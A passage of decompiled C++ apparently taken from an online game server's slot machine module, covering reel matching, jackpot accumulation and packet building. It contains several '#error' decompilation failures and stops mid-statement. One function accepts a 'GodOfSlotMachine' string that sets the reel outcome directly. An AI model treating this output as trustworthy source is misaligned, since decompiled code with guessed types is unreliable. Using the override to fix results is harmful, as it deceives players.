&_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_1LineMatch"); } else { v21 = 3 * dR; v24 = (PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *)((char *)buf + 2 * startR + startR); while ( 1 ) { v9 = **(_BYTE **)&v7; v10 = startC; v11 = v24; saw = 0; v27 = 0; v28 = 0; kind = 0; k = 0; *(_DWORD *)_Keyval = v9; do { v12 = v11->screen.Card[0][v10]; if ( *(std::_Tree_nod,std::allocator,0> >::_Node **)&std::_Tree_std::allocator_0>>::find((std::_Tree,std::allocator,0> > *)v20 + v12, &result, _Keyval)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] == v20->sma_GroupForCard[v12].baseclass_0._Myhead ) break; if ( !*((_BYTE *)&saw + v12) ) { *((_BYTE *)&saw + v12) = 1; ++kind; } v11 = (PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *)((char *)v11 + v21); v10 += dC; v14 = __OFSUB__(k + 1, 3); v13 = k++ - 2 < 0; } while ( v13 ^ v14 ); if ( k == 3 && *(_BYTE *)(*(_DWORD *)&groupiter + 1) == kind ) break; *(_DWORD *)&groupiter += 4; if ( groupiter == v22 ) goto LABEL_12; v7 = groupiter; } --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_1LineMatch"); } __security_check_cookie((unsigned int)&_ ^ v29); return v15; } //----- (005D23F0) -------------------------------------------------------- GBSMAll *__thiscall SlotMachine::SlotMachineAnalyse::sma_ScreenMatch(SlotMachine::SlotMachineAnalyse *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf) { SlotMachine::SlotMachineAnalyse *v2; // esi@1 std::vector >::iterator v3; // eax@1 int v4; // ecx@1 GBSMAll *v5; // eax@3 int v6; // eax@5 int v7; // ebp@5 signed int v8; // ebx@7 int v9; // ebp@7 int v10; // esi@8 char v11; // al@9 char *v12; // esi@9 int v13; // eax@10 signed int v14; // eax@12 int v15; // eax@14 FunctionEntarance _; // [sp+10h] [bp-40h]@1 std::vector >::iterator groupiter; // [sp+14h] [bp-3Ch]@1 int R; // [sp+18h] [bp-38h]@5 int kind; // [sp+1Ch] [bp-34h]@5 SlotMachine::SlotMachineAnalyse *v20; // [sp+20h] [bp-30h]@1 int v21; // [sp+24h] [bp-2Ch]@1 PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *v22; // [sp+28h] [bp-28h]@1 unsigned __int16 _Keyval[2]; // [sp+2Ch] [bp-24h]@5 std::_Tree,std::allocator,0> >::iterator result; // [sp+30h] [bp-20h]@8 int saw; // [sp+34h] [bp-1Ch]@5 int v26; // [sp+38h] [bp-18h]@5 char v27; // [sp+3Ch] [bp-14h]@5 unsigned int v28; // [sp+40h] [bp-10h]@1 int v29; // [sp+4Ch] [bp-4h]@2 v28 = (unsigned int)&_ ^ __security_cookie; v2 = this; v20 = this; v22 = buf; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_AllMatch"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineAnalyse::sma_AllMatch"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)v2->sma_AllMatch._Mylast; groupiter = (std::vector >::iterator)v2->sma_AllMatch._Myfirst; v3 = groupiter; v21 = v4; if ( groupiter != v4 ) { while ( 2 ) { v6 = **(_BYTE **)&v3; saw = 0; v7 = 0; v26 = 0; v27 = 0; kind = 0; R = 0; *(_DWORD *)_Keyval = v6; while ( 2 ) { v8 = 0; v9 = (int)((char *)&v22->screen + 2 * v7 + v7); while ( 1 ) { v10 = *(_BYTE *)(v8 + v9); if ( *(std::_Tree_nod,std::allocator,0> >::_Node **)&std::_Tree_std::allocator_0>>::find((std::_Tree,std::allocator,0> > *)v20 + v10, &result, _Keyval)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] == v20->sma_GroupForCard[v10].baseclass_0._Myhead ) break; v11 = *((_BYTE *)&saw + v10); v12 = (char *)&saw + v10; if ( !v11 ) { v13 = kind + 1; *v12 = 1; kind = v13; } ++v8; if ( v8 >= 3 ) { v14 = R; goto LABEL_14; } } v14 = 4; LABEL_14: v15 = v14 + 1; R = v15; if ( v15 < 3 ) { v7 = R; continue; } break; } if ( v15 == 3 && *(_BYTE *)(*(_DWORD *)&groupiter + 1) == kind ) { --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_AllMatch"); goto LABEL_3; } *(_DWORD *)&groupiter += 5; if ( groupiter != v21 ) { v3 = groupiter; continue; } break; } } --funcallanalizer.fca_stackpoint; v29 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_AllMatch"); LABEL_3: __security_check_cookie((unsigned int)&_ ^ v28); return v5; } //----- (005D25A0) -------------------------------------------------------- GBSMCenter *__thiscall SlotMachine::SlotMachineAnalyse::sma_CenterMatch(SlotMachine::SlotMachineAnalyse *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf) { int v2; // eax@0 SlotMachine::SlotMachineAnalyse *v3; // edi@1 PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK **v4; // esi@1 PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK **v5; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ebp@2 std::_Tree,std::allocator,0> > *v7; // edi@2 GBSMCenter *v8; // eax@5 std::_Tree,std::allocator,0> >::iterator result; // [sp+4h] [bp-10h]@3 int v10; // [sp+8h] [bp-Ch]@1 int (*v11)(); // [sp+Ch] [bp-8h]@1 int v12; // [sp+10h] [bp-4h]@1 v12 = -1; v11 = _ehhandler__smjpr_RankingReq_SlotMachineJackPotRanking_SlotMachine__QAEXXZ; v10 = v2; v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_CenterMatch"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineAnalyse::sma_CenterMatch"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK **)v3->sma_PointMatch._Myfirst; v5 = (PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK **)v3->sma_PointMatch._Mylast; if ( v4 == v5 ) { LABEL_5: --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_CenterMatch"); v8 = 0; } else { v6 = v3->sma_GroupForCard[buf->screen.Card[1][1]].baseclass_0._Myhead; v7 = (std::_Tree,std::allocator,0> > *)((char *)v3 + 12 * buf->screen.Card[1][1]); while ( 1 ) { buf = (PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *)*(_BYTE *)v4; if ( *(std::_Tree_nod,std::allocator,0> >::_Node **)&std::_Tree_std::allocator_0>>::find(v7, &result, (const unsigned __int16 *)&buf)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != v6 ) break; v4 = (PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK **)((char *)v4 + 3); if ( v4 == v5 ) goto LABEL_5; } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_CenterMatch"); v8 = (GBSMCenter *)v4; } return v8; } // 625AC8: using guessed type int _ehhandler$?smjpr_RankingReq_SlotMachineJackPotRanking_SlotMachine__QAEXXZ(); //----- (005D26B0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake_JackPotPrice(SlotMachine::SlotMachineJackPotRanking *this, PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTINFO_CMD *jpinfo) { PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTINFO_CMD *v2; // esi@1 GBSMBetType v3; // ebx@1 unsigned int v4; // edi@3 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // ebp@4 SlotMachine::SlotMachineJackPotRanking *v6; // [sp+Ch] [bp-14h]@1 GBTaxRate *jpinfoa; // [sp+24h] [bp+4h]@1 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake_JackPotPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake_JackPotPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = jpinfo; v3 = 0; jpinfo->JackPotNum = 0; jpinfoa = g_SlotMachineJackPotRanking.smjpr_TaxInfo; if ( g_SlotMachineJackPotRanking.smjpr_TaxInfo ) { v4 = 0; do { v5 = v6->smjpr_InfoArr._Myfirst; *(_WORD *)&v2[6 * v2->JackPotNum + 1].JackPotNum = SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce( &g_SlotMachineScreenManager, v3); *(_DWORD *)&v2[6 * v2->JackPotNum + 3].JackPotNum = (unsigned int)(v5[v4].JackPotPrice * jpinfoa->GB_JPSaveRate * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; ++v4; ++v3; ++v2->JackPotNum; } while ( v4 < 3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake_JackPotPrice"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake_JackPotPrice"); } } //----- (005D27D0) -------------------------------------------------------- #error "5D27D0: undefined or illegal type '#593' (funcsize=59)" //----- (005D28C0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake(SlotMachine::SlotMachineJackPotRanking *this, PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_ACK *ack, GBSMBetType betype) { SlotMachine::SlotMachineJackPotRanking *v3; // esi@1 unsigned int v4; // ebx@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // eax@1 int v6; // esi@4 PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_ACK *i; // ecx@4 int v8; // eax@5 int v9; // eax@8 int v10; // edx@8 int v11; // eax@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ack->ListLen = 0; v5 = v3->smjpr_InfoArr._Myfirst; if ( v5 && betype < v3->smjpr_InfoArr._Mylast - v5 ) { v6 = (int)&v3->smjpr_InfoArr._Myfirst[betype]; for ( i = ack + 9; ; i += 20 ) { v8 = *(_DWORD *)(v6 + 8); if ( !v8 ) break; if ( v4 >= (*(_DWORD *)(v6 + 12) - v8) / 20 || ack->ListLen >= 0x32u ) break; v9 = -9 - (_DWORD)ack + *(_DWORD *)(v6 + 8); v10 = *(_DWORD *)&i[v9].ListLen; v11 = (int)&i[v9]; *(_DWORD *)&i[-8].ListLen = v10; *(_DWORD *)&i[-4].ListLen = *(_DWORD *)(v11 + 4); *(_DWORD *)&i->ListLen = *(_DWORD *)(v11 + 8); *(_DWORD *)&i[4].ListLen = *(_DWORD *)(v11 + 12); *(_DWORD *)&i[8].ListLen = *(_DWORD *)(v11 + 16); ++v4; } ack->ListLen = v4; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake"); } //----- (005D29F0) -------------------------------------------------------- unsigned int __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, unsigned int onebet) { SlotMachine::SlotMachineJackPotRanking *v3; // esi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v4; // eax@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v5; // eax@3 GBSMJackpotRate *v6; // ecx@3 GBSMJackpotRate *v7; // esi@3 unsigned int v8; // eax@3 unsigned int v9; // edi@3 unsigned int result; // eax@9 unsigned int v11; // esi@10 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->smjpr_InfoArr._Myfirst; if ( v4 && machine < v3->smjpr_InfoArr._Mylast - v4 ) { v5 = v3->smjpr_InfoArr._Myfirst; v6 = v3->smjpr_JackPotRate._Myfirst; v7 = v3->smjpr_JackPotRate._Mylast; v8 = v5[machine].JackPotPrice / onebet; v9 = 0; if ( v6 == v7 ) { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc"); result = v9; } else { while ( v8 < v6->GBSM_MinCount || v8 > v6->GBSM_MaxCount ) { if ( v9 < v6->GBSM_JPRate ) v9 = v6->GBSM_JPRate; ++v6; if ( v6 == v7 ) goto LABEL_9; } v11 = v6->GBSM_JPRate; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc"); result = v11; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc"); result = 0; } return result; } //----- (005D2B40) -------------------------------------------------------- unsigned int __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_GetJackpotPrice(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, GBTaxRate *tx) { SlotMachine::SlotMachineJackPotRanking *v3; // esi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v4; // eax@1 unsigned int v5; // ecx@3 unsigned __int64 v6; // qax@3 unsigned int v7; // esi@3 unsigned int result; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_GetJackpotPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_GetJackpotPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->smjpr_InfoArr._Myfirst; if ( v4 && machine < v3->smjpr_InfoArr._Mylast - v4 ) { v5 = (unsigned int)&v3->smjpr_InfoArr._Myfirst[machine]; v6 = *(_DWORD *)v5 * (unsigned int)tx->GB_JPSaveRate * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3); *(_DWORD *)v5 = 0; v7 = HIDWORD(v6) >> 6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_GetJackpotPrice"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_GetJackpotPrice"); result = 0; } return result; } //----- (005D2C50) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, unsigned int bet) { SlotMachine::SlotMachineJackPotRanking *v3; // esi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(DWRD machine, DWRD bet)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(DWRD machine, DWRD bet)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->smjpr_InfoArr._Myfirst; if ( v4 && machine < v3->smjpr_InfoArr._Mylast - v4 ) v3->smjpr_InfoArr._Myfirst[machine].JackPotPrice += bet; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(DWRD machine, DWRD bet)"); } //----- (005D2CE0) -------------------------------------------------------- unsigned int __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine) { SlotMachine::SlotMachineJackPotRanking *v2; // esi@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v3; // eax@1 unsigned int v4; // esi@3 unsigned int result; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(DWRD machine)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(DWRD machine)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->smjpr_InfoArr._Myfirst; if ( v3 && machine < v2->smjpr_InfoArr._Mylast - v3 ) { v4 = v2->smjpr_InfoArr._Myfirst[machine].JackPotPrice; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(DWRD machine)"); result = v4; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(DWRD machine)"); result = 0; } return result; } //----- (005D2DD0) -------------------------------------------------------- GBSMAll *__thiscall std::vector>::_Ufill(std::vector > *this, GBSMAll *_Ptr, unsigned int _Count, GBSMAll *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return (GBSMAll *)((char *)_Ptr + 4 * _Count + _Count); } //----- (005D2E00) -------------------------------------------------------- GBSMCenter *__thiscall std::vector>::_Ufill(std::vector > *this, GBSMCenter *_Ptr, unsigned int _Count, GBSMCenter *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return (GBSMCenter *)((char *)_Ptr + 2 * _Count + _Count); } //----- (005D2E30) -------------------------------------------------------- TickTimer *__thiscall std::vector>::_Ufill(std::vector > *this, TickTimer *_Ptr, unsigned int _Count, TickTimer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (005D2E60) -------------------------------------------------------- GBTaxRate *__thiscall SHND::CommonData>::cd_Find(SHND::CommonData > *this, SHND::CmpGameType cmp) { GBTaxRate *v2; // edi@1 unsigned int v3; // esi@1 int v4; // ebx@1 v2 = this->cd_Data._Myfirst; v3 = 0; v4 = 0; while ( v2 && v3 < this->cd_Data._Mylast - v2 ) { if ( this->cd_Data._Myfirst[v4].GameType == cmp.cgt_GameType ) return &this->cd_Data._Myfirst[v3]; ++v3; ++v4; } return 0; } //----- (005D2EC0) -------------------------------------------------------- GBReward *__thiscall SHND::CommonData::cd_Find(SHND::CommonData *this, SHND::CmpGambleItemReward cmp) { GBReward *v2; // edi@1 unsigned int v3; // esi@1 int v4; // ebx@1 v2 = this->cd_Data._Myfirst; v3 = 0; v4 = 0; while ( v2 && v3 < this->cd_Data._Mylast - v2 ) { if ( *(_QWORD *)&this->cd_Data._Myfirst[v4].GameType == cmp ) return &this->cd_Data._Myfirst[v3]; ++v3; ++v4; } return 0; } //----- (005D2F30) -------------------------------------------------------- CharaterSkillList::CharSkill *__thiscall std::vector>::_Ucopy(std::allocator *_Al, CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *__formal) { return std::_Uninit_copy>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (005D2F50) -------------------------------------------------------- void __cdecl std::_Insertion_sort>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last) { int i; // esi@2 unsigned int v3; // ecx@3 int v4; // eax@7 unsigned int v5; // ebp@8 int v6; // edx@8 std::vector >::iterator v7; // [sp-1Ch] [bp-24h]@6 std::vector >::iterator v8; // [sp-18h] [bp-20h]@6 int v9; // [sp-14h] [bp-1Ch]@6 int *v10; // [sp-10h] [bp-18h]@6 SLOTMACHINE_JackPotRank *v11; // [sp-Ch] [bp-14h]@6 if ( _First != _Last ) { for ( i = *(_DWORD *)&_First + 20; i != _Last; i += 20 ) { v3 = *(_DWORD *)(i + 16); if ( v3 <= *(_DWORD *)(*(_DWORD *)&_First + 16) ) { v4 = i - 20; if ( v3 <= *(_DWORD *)(i - 4) ) continue; do { v5 = *(_DWORD *)(v4 - 4); v6 = v4; v4 -= 20; } while ( v3 > v5 ); if ( v6 == i || i == i + 20 ) continue; v11 = 0; v10 = 0; v9 = i + 20; v8 = (std::vector >::iterator)i; v7 = (std::vector >::iterator)v6; } else { if ( _First == i || i == i + 20 ) continue; v11 = 0; v10 = 0; v9 = i + 20; v8 = (std::vector >::iterator)i; v7 = _First; } std::_Rotate>::iterator_int_SLOTMACHINE_JackPotRank>( v7, v8, (std::vector >::iterator)v9, v10, v11); } } } //----- (005D2FD0) -------------------------------------------------------- #error "5D2FD0: undefined or illegal type '#593' (funcsize=45)" //----- (005D3050) -------------------------------------------------------- char __thiscall SlotMachine::SlotMachineScreen::go_Enter_Player(SlotMachine::SlotMachineScreen *this, #593 *pEntPlayer) { SlotMachine::SlotMachineScreen *v2; // esi@1 GBTaxRate *v3; // eax@2 char v4; // al@4 char v5; // bl@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::go_Enter_Player"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineScreen::go_Enter_Player"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !v2->sms_WaitTick ) { v3 = SHND::CommonData>::cd_Find( (SHND::CommonData > *)&SHND::g_BanTime, (SHND::CmpGameType)31); if ( v3 ) v2->sms_WaitTick = 10 * *(GB_JPSaveType *)((char *)&v3->GB_JPSave + 2); } v2->sms_LastStart = clockwatch.cw_CurrTick; v4 = CGambleObject::go_Enter_Player(&v2->baseclass_0, pEntPlayer); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::go_Enter_Player"); return v5; } //----- (005D3120) -------------------------------------------------------- #error "5D3120: undefined or illegal type '#593' (funcsize=86)" //----- (005D3260) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreen::go_SMS_PacketMake_JackpotRank(SlotMachine::SlotMachineScreen *this, PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_ACK *ack) { SlotMachine::SlotMachineScreen *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::SMS_PacketMake_JackpotRank"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineScreen::SMS_PacketMake_JackpotRank"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ack->ListLen = 0; SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake(&g_SlotMachineJackPotRanking, ack, v2->sms_BettingType); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::SMS_PacketMake_JackpotRank"); } //----- (005D3310) -------------------------------------------------------- int __thiscall SlotMachine::SlotMachineScreen::sms_LineRate(SlotMachine::SlotMachineScreen *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *ack, int startR, int startC, int dR, int dC) { GBSMLine *v6; // eax@1 int result; // eax@2 int v8; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::sms_LineRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineScreen::sms_LineRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = SlotMachine::SlotMachineAnalyse::sma_1LineMatch(&g_SlotMachineAnalyse, ack, startR, startC, dR, dC); if ( v6 ) { v8 = v6->GBSM_RatioLine; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::sms_LineRate"); result = v8; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreen::sms_LineRate"); result = 0; } return result; } //----- (005D3400) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreenManager::smsm_Action(SlotMachine::SlotMachineScreenManager *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf, GBSMBetType type, unsigned __int16 oncebet, PROTO_NC_GAMBLE_SLOTMACHINE_START_REQ *bettinginfo, char *GodOfSlotMachine) { SlotMachine::SlotMachineScreenManager *v6; // esi@1 char v7; // al@1 char v8; // al@5 char v9; // cl@7 bool v10; // bl@9 char *v11; // ecx@11 char *v12; // edx@12 signed int v13; // esi@12 int v14; // eax@13 int v15; // eax@14 int v16; // ecx@18 int v17; // eax@18 int v18; // eax@19 int v19; // ecx@23 int v20; // eax@23 int v21; // eax@24 unsigned int v22; // edi@30 int v23; // edi@33 int v24; // ecx@33 char *v25; // eax@33 char v26; // dl@33 int v27; // edx@33 char *v28; // eax@33 PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *v29; // ebp@36 char *v30; // ecx@36 int v31; // ebx@36 signed int v32; // ecx@36 int v33; // eax@37 int v34; // edx@37 int v35; // eax@37 char *v36; // ebx@37 int v37; // edi@37 int v38; // edx@37 int v39; // eax@37 char *v40; // ecx@38 signed int v41; // edx@38 signed int v42; // eax@39 char *bufa; // [sp+20h] [bp+4h]@36 int oncebeta; // [sp+28h] [bp+Ch]@36 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_Action"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineScreenManager::smsm_Action"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = bettinginfo->betting.gap0[1]; v10 = v7 & 7 && bettinginfo->betting.gap0[0] & 0x38 && bettinginfo->betting.gap0[0] & 7 && v7 & 0x38 && (v8 = bettinginfo->betting.gap0[2], v8 & 7) && v8 & 0x38 && (v9 = bettinginfo->betting._bf3, v9 & 7) && v9 & 0x38; v11 = GodOfSlotMachine; if ( strlen(GodOfSlotMachine) == 9 ) { v12 = &buf->screen.Card[2][1]; v13 = 3; do { v14 = *v11; if ( *v11 >= 65 ) v15 = v14 - 55; else v15 = v14 - 48; if ( v15 >= 9 ) LOBYTE(v15) = 0; v16 = (int)(v11 + 1); *(v12 - 1) = v15; v17 = *(_BYTE *)v16; if ( *(_BYTE *)v16 >= 65 ) v18 = v17 - 55; else v18 = v17 - 48; if ( v18 >= 9 ) LOBYTE(v18) = 0; v19 = v16 + 1; *v12 = v18; v20 = *(_BYTE *)v19; if ( *(_BYTE *)v19 >= 65 ) v21 = v20 - 55; else v21 = v20 - 48; if ( v21 >= 9 ) LOBYTE(v21) = 0; v12[1] = v21; v11 = (char *)(v19 + 1); v12 -= 3; --v13; } while ( v13 ); } else { v22 = SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc(&g_SlotMachineJackPotRanking, type, oncebet); if ( v10 && RandomBox::rb_1000000(&rndbox) < v22 ) { buf->screen.Card[2][2] = 8; buf->screen.Card[2][1] = 8; buf->screen.Card[2][0] = 8; buf->screen.Card[1][2] = 8; buf->screen.Card[1][1] = 8; buf->screen.Card[1][0] = 8; buf->screen.Card[0][2] = 8; buf->screen.Card[0][1] = 8; buf->screen.Card[0][0] = 8; } else { v23 = RandomBox::operator__(&rndbox, 9u); v24 = 